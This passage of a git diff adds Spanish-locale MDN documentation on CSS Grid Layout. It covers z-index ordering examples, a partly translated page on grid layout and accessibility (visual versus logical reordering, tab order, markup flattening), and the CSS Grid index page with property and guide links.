+
+<div id="controlando_el_orden">
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: 100px;
+}
+
+.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+  z-index: 2;
+}
+
+.box2 {
+  grid-column-start: 1;
+  grid-row-start: 2;
+  grid-row-end: 4;
+  z-index: 1;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box box1"&gt;One&lt;/div&gt;
+  &lt;div class="box box2"&gt;Two&lt;/div&gt;
+  &lt;div class="box box3"&gt;Three&lt;/div&gt;
+  &lt;div class="box box4"&gt;Four&lt;/div&gt;
+  &lt;div class="box box5"&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.box {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('controlando_el_orden', '230', '420') }}</p>
+
+<h2 id="Siguientes_Pasos">Siguientes Pasos</h2>
+
+<p>En este artículo hemos tenido una mirada muy rápida a través de la Especificación de Grid Layout. Juegue un poco con los ejemplos de código, y luego pase a <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">la siguiente parte de esta guía donde realmente nos vamos a adentrar en detalle dentro de CSS Grid Layout</a>.</p>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/es/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/es/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guías</strong></a>
+  <ol>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Conceptos básicos del posicionamiento con cuadrículas</a></li>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relación con otros métodos de posicionamiento</a></li>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Posicionamiento basado en líneas</a></li>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Áreas de una plantilla de cuadrícula</a></li>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Posicionamiento usando líneas de cuadrícula con nombres</a></li>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Posicionamiento automático en grid layout</a></li>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Alineación de cajas en grid layout</a></li>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">cuadrículas, valores lógicos y modos de escritura</a></li>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout y Accesibilidad</a></li>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout y Mejora Progresiva</a></li>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Layouts comunes utilizando CSS Grid</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+  <ol>
+   <li><a href="/es/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glossary</strong></a>
+  <ol>
+   <li><a href="/es/docs/Glossary/Grid">cuadrícula</a></li>
+   <li><a href="/es/docs/Glossary/Grid_lines">Líneas de cuadrícula</a></li>
+   <li><a href="/es/docs/Glossary/Grid_tracks">Pistas de cuadrícula</a></li>
+   <li><a href="/es/docs/Glossary/Grid_cell">Celda de cuadrícula</a></li>
+   <li><a href="/es/docs/Glossary/Grid_areas">Áreas de cuadrícula</a></li>
+   <li><a href="/es/docs/Glossary/Gutters">Canaletas</a></li>
+   <li><a href="/es/docs/Glossary/Grid_Axis">Ejes de cuadrícula</a></li>
+   <li><a href="/es/docs/Glossary/Grid_rows">Fila de cuadrícula</a></li>
+   <li><a href="/es/docs/Glossary/Grid_column">Columna de cuadrícula</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
+</div>
diff --git a/files/es/web/css/css_grid_layout/css_grid_layout_and_accessibility/index.html b/files/es/web/css/css_grid_layout/css_grid_layout_and_accessibility/index.html
new file mode 100644
index 0000000000..7339530ff1
--- /dev/null
+++ b/files/es/web/css/css_grid_layout/css_grid_layout_and_accessibility/index.html
@@ -0,0 +1,169 @@
+---
+title: CSS Grid Layout y accesibilidad
+slug: Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility
+translation_of: Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility
+---
+<p>Los que llevamos en esto del desarrollo web más años de los que queremos recordar podríamos considerar que CSS Grid es un poco como "maquetar con tablas". En los primeros tiempos del diseño web la manera de maquetar la página era usando tablas HTML y "troceando" los elementos dentro de las celdas de esas tablas para crear un diseño. This had some advantages over the “CSS Positioning” that came afterwards, in that we could take advantage of the alignment and full height columns offered by table display. The biggest downside however was that it tied our design to the mark-up, often creating accessibility issues as it did so. In order to lay the design out in the table we often broke up the content in ways that made no sense at all when read out by a screen reader for example.</p>
+
+<p>In moving to CSS we often spoke about CSS for layout enabling a separation of content and markup and presentation. The ultimate aim being that we could create a semantic and well structured document, then apply CSS to create the layout we desired. Sites such as the <a href="http://www.csszengarden.com/">CSS Zen Garden</a> showcased this ability. The CSS Zen Garden challenged us to take identical markup and create a unique design using CSS.</p>
+
+<p><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a> does not have the same issues that tables did, our grid structure is defined in CSS rather than in the mark-up. If we need to add an element we can use something with no semantic meaning. On paper grid helps us properly fulfill that promise of content separated from mark-up, however is it possible to go too far with this idea? Is it possible that we could <em>create</em> an accessibility issue through our use of grids?</p>
+
+<h2 id="Re-ordering_content_in_CSS_Grid_Layout">Re-ordering content in CSS Grid Layout</h2>
+
+<p>We’ve already seen in these guides that grid gives us power to re-order the content of our page in various ways. We can use the {{cssxref("order")}} property, which will change how items auto-place. We can use <code>grid-auto-flow: dense</code> which will take items visually out of DOM order. We can also position items using line-based placement of grid template areas, without considering their location in the source.</p>
+
+<p>The <a href="https://drafts.csswg.org/css-grid/#order-accessibility">specification</a> includes a section that covers Reordering and Accessibility. In the introduction to that section are details of what the specification expects browsers to do when the content is visually reordered using Grid Layout.</p>
+
+<blockquote>
+<p>Grid layout gives authors great powers of rearrangement over the document. However, these are not a substitute for correct ordering of the document source. The order property and grid placement do not affect ordering in non-visual media (such as speech). Likewise, rearranging grid items visually does not affect the default traversal order of sequential navigation modes (such as cycling through links, see e.g. <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/tabindex">tabindex</a> HTML5).</p>
+</blockquote>
+
+<p>If you reorder things visually using grid layout, this will not change how the items are ordered if the content is being read out by a screen reader, or other text to speech user agent. In addition, the reordering will not change tab order. This means that someone navigating using the keyboard could be tabbing through links on your site and suddenly find themselves jumping from the top to the bottom of the document due to a reordered item being next in line.</p>
+
+<p>The specification warns authors (the CSSWG term for web developers) not to do this reordering.</p>
+
+<blockquote>
+<p>Authors must use order and the grid-placement properties only for visual, not logical, reordering of content. Style sheets that use these features to perform logical reordering are non-conforming.</p>
+</blockquote>
+
+<p>What does this mean for designing with grid layout in practice?</p>
+
+<h3 id="Visual_not_logical_re-ordering">Visual not logical re-ordering</h3>
+
+<p>Any time you reorder things with grid layout – or with flexbox – you only perform <em>visual reordering</em>. The underlying source is what controls things like text to speech, and the tab order of the document. You can see how this works with a very simple example.</p>
+
+<p>In this example I have used grid to lay out a set of boxes that contain links. I have used the line-based placement properties to position box 1 on the second row of the grid. Visually it now appears as the fourth item in the list. However, if I tab from link to link the tab order still begins with box 1, as it comes first in the source.</p>
+
+<div id="accessibility_1">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: 100px;
+}
+
+.box1 {
+  grid-column: 1;
+  grid-row: 2;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box box1"&gt;&lt;a href=""&gt;One&lt;/a&gt;&lt;/div&gt;
+  &lt;div class="box box2"&gt;&lt;a href=""&gt;Two&lt;/a&gt;&lt;/div&gt;
+  &lt;div class="box box3"&gt;&lt;a href=""&gt;Three&lt;/a&gt;&lt;/div&gt;
+  &lt;div class="box box4"&gt;&lt;a href=""&gt;Four&lt;/a&gt;&lt;/div&gt;
+  &lt;div class="box box5"&gt;&lt;a href=""&gt;Five&lt;/a&gt;&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('accessibility_1', '500', '330') }}</p>
+</div>
+
+<p>The specification says that in this scenario, if box 1 really makes sense logically in that position, we should go back to our source and make the change there rather than reordering using grid layout. This is what is meant by visual versus logical reordering, logical ordering is important for the meaning and structure of our document, and we should make sure that we preserve that structure.</p>
+
+<h2 id="How_should_we_approach_accessibility_for_grid_layout">How should we approach accessibility for grid layout?</h2>
+
+<p>From the specification we know that we need to ensure our document maintains the logical order of our content. How should we approach our development to make sure that we maintain accessibility for the different users and the ways that they interact with our pages?</p>
+
+<dl>
+ <dt>Start with a structured and accessible document</dt>
+ <dd>A grid layout should mean we do not need to change our document source in order to get the layout that we want. Therefore the starting point of your page should be a well structured and accessible source document. As is noted in the CSS Grid Layout specification, this is quite often going to give you a good structure for <em>your smallest screen devices too</em>. If a user is scrolling through a long document on mobile, the priorities for that user quite often map to what should be a priority in the source.</dd>
+ <dt>Create a responsive, and responsible grid</dt>
+ <dd>With a solid document you can begin to add your layout, it is likely you will be using <a href="/en-US/docs/Web/CSS/Media_Queries">media queries</a> to create additional columns and make changes for different screen sizes and devices. Grid can be really very useful here, elements deprioritized in the mobile source order can be moved into a sidebar in a desktop layout, for example. The key here is to keep testing, a very simple test is to <em>tab around the document</em>. Does that order still make sense? Check that you do not end up leaping from the top to the bottom of the layout in a peculiar way. If so that would be a sign that you need to address something about the layout.</dd>
+ <dt>Returning to the source</dt>
+ <dd>If at any time in the design process you find yourself using grid to relocate the position of an element, consider whether you should return to your document and make a change to the logical order too. The nice thing about using CSS Grid Layout is that you should be able to move an item in the source to match the logical order, without needing to make big changes to your layout. This is a huge improvement over a {{cssxref("float")}}-based layout for example, where document source matters a lot in order to get layouts at different breakpoints. However the onus is on us as developers to remember to go back to our source and update it to maintain logical order.</dd>
+</dl>
+
+<h2 id="Grid_and_the_danger_of_markup_flattening">Grid and the danger of markup flattening</h2>
+
+<p>Another issue to be aware of in CSS Grid Layout and to a lesser extent in CSS Flexbox, is the temptation to <em>flatten</em> markup. As we have discovered, for an item to become a grid item it needs to be a direct child of the grid container. Therefore, where you have a {{HTMLElement("ul")}} element inside a grid container, <em>that</em> <code>ul</code> becomes a grid item – the child {{HTMLElement("li")}} elements do not.</p>
+
+<p>If the <code>subgrid</code> value of {{cssxref("display")}} becomes implemented, it would be possible to make these children of a grid item participate in the overall grid layout by declaring the <code>ul</code> element a <em>subgrid</em>. Currently the only way to do this is to use <code>display: contents</code> to cause the box generated by the <code>ul</code> to disappear from the DOM. For more information about this interaction see the guide on the <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship of Grid Layout to other layout methods</a> and the section on <code><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout#Grid_and_display_contents">display: contents</a></code>.</p>
+
+<p>Given that interoperable support for <code>display: contents</code> is limited and we do not yet have subgrids, there is a definite temptation when developing a site using CSS Grid Layout to flatten out the markup, to remove semantic elements in order to make it simpler to create a layout. An example would be where some content was semantically marked up as a list but you decide to use a set of {{HTMLElement("div")}} elements instead as then you can have the element to be a direct child of a container set to <code>display: grid</code>. Be aware of this temptation and find ways to develop your design without stripping out the markup. Starting out with a well-structured document is a very good way to avoid the problem, as you will be aware that you are removing semantic elements in order to make the layout work if you actually have to go into the document and do so!</p>
+
+<h2 id="Further_reading">Further reading</h2>
+
+<p>There is not a lot of existing material regarding accessibility and CSS Grid Layout. Many of the issues are similar to those raised regarding CSS Flexbox, which also gives methods of reordering content with {{cssxref("flex-direction")}} and the {{cssxref("order")}} property.</p>
+
+<p>The concept of visual display following document source order is detailed in the <em>WCAG Techniques for Success Criteria – <a href="https://www.w3.org/TR/WCAG20-TECHS/C27.html">Technique C27</a></em>.</p>
+
+<p>As a way to start thinking about these issues, as you use CSS Grid Layout I would suggest reading <em><a href="http://tink.uk/flexbox-the-keyboard-navigation-disconnect/">Flexbox &amp; the Keyboard Navigation Disconnect</a></em> from Léonie Watson. Also <a href="https://www.youtube.com/watch?v=spxT2CmHoPk">the video of Léonie’s presentation from ffconf</a> is helpful to understand more about how screen readers work with the visual representation of things in CSS. Adrian Roselli has also posted regarding <a href="http://adrianroselli.com/2015/10/html-source-order-vs-css-display-order.html">tab order in various browsers</a> – although this was prior to grid support being fully implemented in Firefox.</p>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guides</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glossary</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Glossary/Grid">Grid</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+   <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_Axis">Grid Axis</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/es/web/css/css_grid_layout/index.html b/files/es/web/css/css_grid_layout/index.html
new file mode 100644
index 0000000000..d26c21f5fa
--- /dev/null
+++ b/files/es/web/css/css_grid_layout/index.html
@@ -0,0 +1,251 @@
+---
+title: CSS Grid Layout
+slug: Web/CSS/CSS_Grid_Layout
+translation_of: Web/CSS/CSS_Grid_Layout
+---
+<p><strong>CSS Grid layout</strong> contiene funciones de diseño dirigidas a los desarrolladores de aplicaciones web. El CSS grid se puede utilizar para lograr muchos diseños diferentes. También se destaca por permitir dividir una página en áreas o regiones principales, por definir la relación en términos de tamaño, posición y capas entre partes de un control construido a partir de primitivas HTML.</p>
+
+<p>Al igual que las tablas, el grid layout permite a un autor alinear elementos en columnas y filas. Sin embargo, con CSS grid son posibles muchos más diseños y de forma más sencilla que con las tablas. Por ejemplo, los elementos secundarios de un contenedor de cuadrícula podrían posicionarse para que se solapen y se superpongan, de forma similar a los elementos posicionados en CSS.</p>
+
+<h2 id="Basic_Example" name="Basic_Example">Ejemplo sencillo</h2>
+
+<p>El siguiente ejemplo muestra un grid de tres columnas con filas nuevas creadas con un mínimo de 100 píxeles y un máximo automático. Los elementos se han colocado en el grid utilizando posicionamiento en línea.</p>
+
+<div id="example">
+<div class="hidden">
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+.wrapper {
+  max-width: 940px;
+  margin: 0 auto;
+}
+
+.wrapper &gt; div {
+  border: 2px solid rgb(233,171,88);
+  border-radius: 5px;
+  background-color: rgba(233,171,88,.5);
+  padding: 1em;
+  color: #d9480f;
+}</pre>
+</div>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+  &lt;div class="one"&gt;One&lt;/div&gt;
+  &lt;div class="two"&gt;Two&lt;/div&gt;
+  &lt;div class="three"&gt;Three&lt;/div&gt;
+  &lt;div class="four"&gt;Four&lt;/div&gt;
+  &lt;div class="five"&gt;Five&lt;/div&gt;
+  &lt;div class="six"&gt;Six&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-gap: 10px;
+  grid-auto-rows: minmax(100px, auto);
+}
+.one {
+  grid-column: 1 / 3;
+  grid-row: 1;
+}
+.two {
+  grid-column: 2 / 4;
+  grid-row: 1 / 3;
+}
+.three {
+  grid-column: 1;
+  grid-row: 2 / 5;
+}
+.four {
+  grid-column: 3;
+  grid-row: 3;
+}
+.five {
+  grid-column: 2;
+  grid-row: 4;
+}
+.six {
+  grid-column: 3;
+  grid-row: 4;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('example', '500', '440') }}</p>
+</div>
+
+<h2 id="Referencia">Referencia</h2>
+
+<h3 id="Propiedades_CSS">Propiedades CSS</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("grid-template-columns")}}</li>
+ <li>{{cssxref("grid-template-rows")}}</li>
+ <li>{{cssxref("grid-template-areas")}}</li>
+ <li>{{cssxref("grid-template")}}</li>
+ <li>{{cssxref("grid-auto-columns")}}</li>
+ <li>{{cssxref("grid-auto-rows")}}</li>
+ <li>{{cssxref("grid-auto-flow")}}</li>
+ <li>{{cssxref("grid")}}</li>
+ <li>{{cssxref("grid-row-start")}}</li>
+ <li>{{cssxref("grid-column-start")}}</li>
+ <li>{{cssxref("grid-row-end")}}</li>
+ <li>{{cssxref("grid-column-end")}}</li>
+ <li>{{cssxref("grid-row")}}</li>
+ <li>{{cssxref("grid-column")}}</li>
+ <li>{{cssxref("grid-area")}}</li>
+ <li>{{cssxref("row-gap")}}</li>
+ <li>{{cssxref("column-gap")}}</li>
+ <li>{{cssxref("gap")}}</li>
+</ul>
+</div>
+
+<h3 id="Funciones_CSS">Funciones CSS</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("repeat", "repeat()")}}</li>
+ <li>{{cssxref("minmax", "minmax()")}}</li>
+ <li>{{cssxref("fit-content", "fit-content()")}}</li>
+</ul>
+</div>
+
+<h3 id="CSS_data_types">CSS data types</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("&lt;flex&gt;")}}</li>
+</ul>
+</div>
+
+<h3 id="Glosario">Glosario</h3>
+
+<div class="index">
+<ul>
+ <li><a href="/es/docs/Glossary/Grid">Grid</a></li>
+ <li><a href="/es/docs/Glossary/Grid_Lines">Grid Lines</a></li>
+ <li><a href="/es/docs/Glossary/Grid_Tracks">Grid Tracks</a></li>
+ <li><a href="/es/docs/Glossary/Grid_Cell">Grid Cell</a></li>
+ <li><a href="/es/docs/Glossary/Grid_Areas">Grid Area</a></li>
+ <li><a href="/es/docs/Glossary/Gutters">Gutters</a></li>
+ <li><a href="/es/docs/Glossary/Grid_Axis">Grid Axis</a></li>
+ <li><a href="/es/docs/Glossary/Grid_Rows">Grid row</a></li>
+ <li><a href="/es/docs/Glossary/Grid_Column">Grid column</a></li>
+</ul>
+</div>
+
+<h2 id="Guías">Guías</h2>
+
+<div class="index">
+<ul>
+ <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basic concepts of Grid Layout</a></li>
+ <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship of Grid Layout to other layout methods</a></li>
+ <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Layout using line-based placement</a></li>
+ <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+ <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+ <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in CSS Grid Layout</a></li>
+ <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in CSS Grid Layout</a></li>
+ <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">CSS Grid, Logical Values and Writing Modes</a></li>
+ <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and accessibility</a></li>
+ <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid and progressive enhancement</a></li>
+ <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/Realising_common_layouts_using_CSS_Grid_">Realising common layouts using CSS Grid</a></li>
+</ul>
+</div>
+
+<h2 id="Recursos_externos">Recursos externos</h2>
+
+<ul>
+ <li><a href="http://labs.jensimmons.com/">Examples from Jen Simmons</a></li>
+ <li><a href="http://gridbyexample.com/">Grid by Example - a collection of usage examples and video tutorials</a></li>
+ <li><a href="https://tympanus.net/codrops/css_reference/grid/">Codrops Grid Reference</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Firefox DevTools CSS Grid Inspector</a></li>
+ <li><a href="https://mozilladevelopers.github.io/playground/">CSS Grid Playground</a></li>
+ <li><a href="http://cssgridgarden.com">Grid Garden</a> - Un juego para aprender el grid</li>
+</ul>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName("CSS Grid 2") }}</td>
+   <td>{{ Spec2("CSS Grid 2") }}</td>
+   <td>Added <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout#Subgrid">subgrids</a>.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Grid') }}</td>
+   <td>{{ Spec2('CSS3 Grid') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<section class="Quick_links" id="Quick_Links">
+<section class="Quick_links" id="Enlaces_Rapidos">
+<ol>
+ <li><a href="/es/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/es/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guías</strong></a>
+  <ol>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
